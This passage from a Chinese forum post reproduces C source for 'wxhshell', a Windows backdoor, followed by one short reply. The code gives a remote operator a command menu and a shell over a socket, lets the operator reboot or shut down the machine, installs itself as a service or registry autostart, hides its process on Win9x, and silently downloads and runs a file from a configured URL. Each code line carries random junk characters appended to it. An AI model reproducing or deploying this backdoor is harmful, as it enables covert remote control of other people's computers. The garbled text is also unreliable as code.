  if(DownloadFile(cmd,wsh)) x7 l3&;yDv  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); yUzpl[*e^o  
  else S,~DA3  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MC&sM-/  
  } O+Qt8,  
  else { ts3BmfR?  
Km9Y_`?  
    switch(cmd[0]) { 3G)Wmmh"a  
  XF 8$D  
  // 帮助 YFY$iN~B,  
  case '?': { ({_Dg43O'[  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); WN%KA TA  
    break; C|W\qXCqu  
  } ^%pM$3ov  
  // 安装 &?mJL0fy  
  case 'i': { OfSHZ;,  
    if(Install()) <"Cacf g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yC]X&1,:z  
    else b 5X~^L  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 46cd5SLK  
    break; _mJnhT3  
    } V)8d1S  
  // 卸载 ow{SsX  
  case 'r': { qFD#D_O6  
    if(Uninstall()) <_~>YJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o|?bvFC  
    else :L!O/Bd8V  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sHSD`mYq  
    break; ni$S@0  
    } _H+|Ic  
  // 显示 wxhshell 所在路径 5VG[FY6Pl  
  case 'p': { #A '|O\RGP  
    char svExeFile[MAX_PATH]; CZL:&~l1  
    strcpy(svExeFile,"\n\r"); 5s'oVO*hW  
      strcat(svExeFile,ExeFile); {q-<1|xj/J  
        send(wsh,svExeFile,strlen(svExeFile),0); &58+-jzW  
    break; z]Dbca1a`  
    } }+fMYgw  
  // 重启 R|Lr@k{6+r  
  case 'b': { *>a+`|[1*  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); b=Y:`&o=[  
    if(Boot(REBOOT)) Qwm#6{5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SXW8p>1Jw  
    else { ,c;u]  
    closesocket(wsh); :DlgNR`bq  
    ExitThread(0); t<|S7EqIL  
    } &(] @L\A  
    break; l12_&o"C~  
    } 9$u'2TV  
  // 关机 g5 J[ut  
  case 'd': { )Uv lEG']  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !5;A.f  
    if(Boot(SHUTDOWN)) jeM/8~^4-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [8o!X)  
    else { t)*MLg<C  
    closesocket(wsh); m6 )sX&  
    ExitThread(0); kt ILKpHt"  
    } lStYfO:<'v  
    break; JQhw>H9&  
    } "|6#n34  
  // 获取shell U?}>A5H  
  case 's': { w,t>M_( N  
    CmdShell(wsh); =&J 7 'nDP  
    closesocket(wsh); j JxV)AIY  
    ExitThread(0); Gqz<;y  
    break; ;gC.fpu  
  } #=G[ ~m\  
  // 退出  .UUY9@  
  case 'x': { $~[k?D  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Ie[8Iot?bn  
    CloseIt(wsh); Uo!#p'<w)p  
    break; H|1owmbD  
    } I}#_Jt3R  
  // 离开 5gPcsn"D  
  case 'q': { $ {iV]Xt  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0);  4|9c+^%^  
    closesocket(wsh); =X0"!y"  
    WSACleanup(); e*7nq ~ B5  
    exit(1); wIv_Z^% V  
    break; Tq r]5  
        } r pv`%  
  } gRk%ObJGqm  
  } |-W7n'n  
t_-1sWeA!  
  // 提示信息 [q/tKdo@  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \Qh{uk[  
} x>?jfN,e  
  } {g:I5 A#  
ndIf1}   
  return; 39|4)1e  
} -\b$5oa(  
)jh4HMvmC  
// shell模块句柄 &: i|;^^2  
int CmdShell(SOCKET sock) "gcHcboU5$  
{ S+mZ.aFS0z  
STARTUPINFO si; aIrQ=}  
ZeroMemory(&si,sizeof(si)); 1mLd_ ]F'F  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; cH&-/|N  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; F ;o ^.  
PROCESS_INFORMATION ProcessInfo; z"b}V01F#  
char cmdline[]="cmd"; oA^aT:o +  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); SIBNU3;DL  
  return 0; bOt6q/f  
} oJcDs-!  
.o(XnY)cgJ  
// 自身启动模式 C6=P(%y  
int StartFromService(void) (8(7:aE $  
{ Hl,.6 >F?  
typedef struct H8V${&!ho  
{ A/XY' 3  
  DWORD ExitStatus; 9!u=q5+E  
  DWORD PebBaseAddress; |a(%a43fC  
  DWORD AffinityMask; _&Hq`KJm  
  DWORD BasePriority; tFY;q##z  
  ULONG UniqueProcessId; >IL[eiiPG  
  ULONG InheritedFromUniqueProcessId; K8sgeX|  
}   PROCESS_BASIC_INFORMATION; na;U]IK  
v&hQ;v  
PROCNTQSIP NtQueryInformationProcess; Q-3o k7  
h}X^  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ? 1OZEzA!  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /B $9B  
`aj;FrF  
  HANDLE             hProcess; 2VrO8q(  
  PROCESS_BASIC_INFORMATION pbi; J33enQd  
t:DZow  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +:hZ,G?>  
  if(NULL == hInst ) return 0; E4a`cGb  
3yWu-U \k  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");  As&=Pb9  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");  k3[%pS  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +1Qa7 \  
5J d7<AO_  
  if (!NtQueryInformationProcess) return 0; EJM6TI"  
gWxpGW^eZ~  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); MZyzc{c,  
  if(!hProcess) return 0; "f/Su(6{0  
5'JONw'\  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Qi 3di  
^xW u7q  
  CloseHandle(hProcess); }@kD&2  
aZ[ aZU  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1:7 uS.  
if(hProcess==NULL) return 0; +d7sy0  
n+C]&6-b  
HMODULE hMod; SLzxF uV  
char procName[255]; 8 JOfx  
unsigned long cbNeeded; 'y(;:Kc  
E?{{z4  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ?;s}GpEY:  
njbEw4nX  
  CloseHandle(hProcess); ^BDM'  
a J%&Y5L  
if(strstr(procName,"services")) return 1; // 以服务启动 %?GLMf7)  
g"Eg=CU  
  return 0; // 注册表启动 -dCM eC  
} k<aKT?Ek>  
5XK}8\  
// 主模块 -8j<`(M' 5  
int StartWxhshell(LPSTR lpCmdLine) D(EY"s37  
{ sFd"VRAV~E  
  SOCKET wsl; !H,_*u.  
BOOL val=TRUE; vdwh59W  
  int port=0; {fwA=J9%KS  
  struct sockaddr_in door; {[r}&^K15  
2E V M*^A  
  if(wscfg.ws_autoins) Install(); (zW;&A  
^Z?X\t  
port=atoi(lpCmdLine); v9<7=D&x  
dQ&S&SW  
if(port<=0) port=wscfg.ws_port; f L @rv  
K+9oV[DMs  
  WSADATA data; (7C&I- l  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ZG=B'4W  
'S_kD! BO  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   wz!a;]agg  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^tWt"GgC  
  door.sin_family = AF_INET; -8sm^A>C  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); aNZJs<3;'D  
  door.sin_port = htons(port);  3kAmRU  
yv.Y-c=  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { m!{}Y]FZn  
closesocket(wsl); cY%[UK$l  
return 1; c\X0*GX  
} 'dE G\?v9  
?\_N*NEtK  
  if(listen(wsl,2) == INVALID_SOCKET) { 'ZyHp=RN)  
closesocket(wsl); 1b4aY> Z  
return 1; "`b"PQ<x  
} n5nV4 61U  
  Wxhshell(wsl); G8c 8`~t  
  WSACleanup(); Irk@#,{<  
bjgf8427I  
return 0; 4nC`DJ;V  
p&B c<+3e  
} jft%\sY  
e-$ U .cx  
// 以NT服务方式启动 %+PWcCmn  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) z93HTy9  
{ b`x7%?Qn  
DWORD   status = 0; 68m (%%E@  
  DWORD   specificError = 0xfffffff; ('!{kVLT-  
' 0iXx   
  serviceStatus.dwServiceType     = SERVICE_WIN32; nWTo$*>W  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; W$&kOdD!$  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Au+SCj  
  serviceStatus.dwWin32ExitCode     = 0; v3b[08 F  
  serviceStatus.dwServiceSpecificExitCode = 0; 6pkZ8Vp:  
  serviceStatus.dwCheckPoint       = 0; ]Lc:M'V#  
  serviceStatus.dwWaitHint       = 0; ]ne&`uO  
mL\j^q,Y  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); adHZX  
  if (hServiceStatusHandle==0) return; OBGA~E;%  
3t  
status = GetLastError(); E,6(/`0H*  
  if (status!=NO_ERROR) SU0K#:  
{ L nQm2uF  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; v 4@=>L  
    serviceStatus.dwCheckPoint       = 0; Qr`WPTQr"  
    serviceStatus.dwWaitHint       = 0; 9zdp 8?T  
    serviceStatus.dwWin32ExitCode     = status; C4Pi6.wf  
    serviceStatus.dwServiceSpecificExitCode = specificError; # 2As-9  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); vn n4  
    return; _xgF?#  
  } ML6V,V/e  
i^c  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; !olvP*c"  
  serviceStatus.dwCheckPoint       = 0; Yjv[rH5v  
  serviceStatus.dwWaitHint       = 0; N3P!<J/tc  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [4)q6N5`f  
} gTz66a@i  
 &!I^m  
// 处理NT服务事件,比如:启动、停止 IUX~dO  
VOID WINAPI NTServiceHandler(DWORD fdwControl) {}Y QB'}  
{ 7%p[n;-o&  
switch(fdwControl) .@0i,7S  
{ Dq/ _#&S  
case SERVICE_CONTROL_STOP: %B^nQbNDM  
  serviceStatus.dwWin32ExitCode = 0; <VP@#  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; :Jp$_T&E  
  serviceStatus.dwCheckPoint   = 0; "y R56`=  
  serviceStatus.dwWaitHint     = 0; 9/$D&tRN  
  { wAHW@q9CK  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .r9-^01mG  
  } :tP:X+?O  
  return; v:s.V>{"S  
case SERVICE_CONTROL_PAUSE: QcyYTg4i  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; \tc`Aj%K  
  break; i2or/(u`  
case SERVICE_CONTROL_CONTINUE: q7}$F]UM"  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; "hRw_<  
  break; vkmTd4g  
case SERVICE_CONTROL_INTERROGATE: .lMIJN&/  
  break; zh5{t0E}C  
}; 76[O3%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9XGzQ45R  
} n7~!klF-  
0mB]*<x8  
// 标准应用程序主函数 *wW/nr=\;  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) &gc8"B@V  
{ l6b3i v,  
VFN\ Ryd  
// 获取操作系统版本 `r"euO r\  
OsIsNt=GetOsVer(); 846j<fE  
GetModuleFileName(NULL,ExeFile,MAX_PATH); cnAwoTt4  
'U<-w$!f+^  
  // 从命令行安装 {;4AdZk  
  if(strpbrk(lpCmdLine,"iI")) Install(); &wj;:f  
,RFcR[ak  
  // 下载执行文件 lhm=(7Y  
if(wscfg.ws_downexe) { wI +oG  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) c1j)  
  WinExec(wscfg.ws_filenam,SW_HIDE); /ZAS%_as  
} -Z&6PT7  
#84pRU~  
if(!OsIsNt) { D$k40Mz  
// 如果时win9x,隐藏进程并且设置为注册表启动 % R~9qO  
HideProc(); jREj]V>  
StartWxhshell(lpCmdLine); Y7R"~IA$  
} '>(R'g42n  
else fRo_rj _  
  if(StartFromService()) V.;,1%  
  // 以服务方式启动 mLM$dk3  
  StartServiceCtrlDispatcher(DispatchTable); 7*5$=z4,1  
else gx&BzODPd0  
  // 普通方式启动 hx$-d}W{  
  StartWxhshell(lpCmdLine); Qg+0(odd  
)%8oE3O#  
return 0; VXvr`U\  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八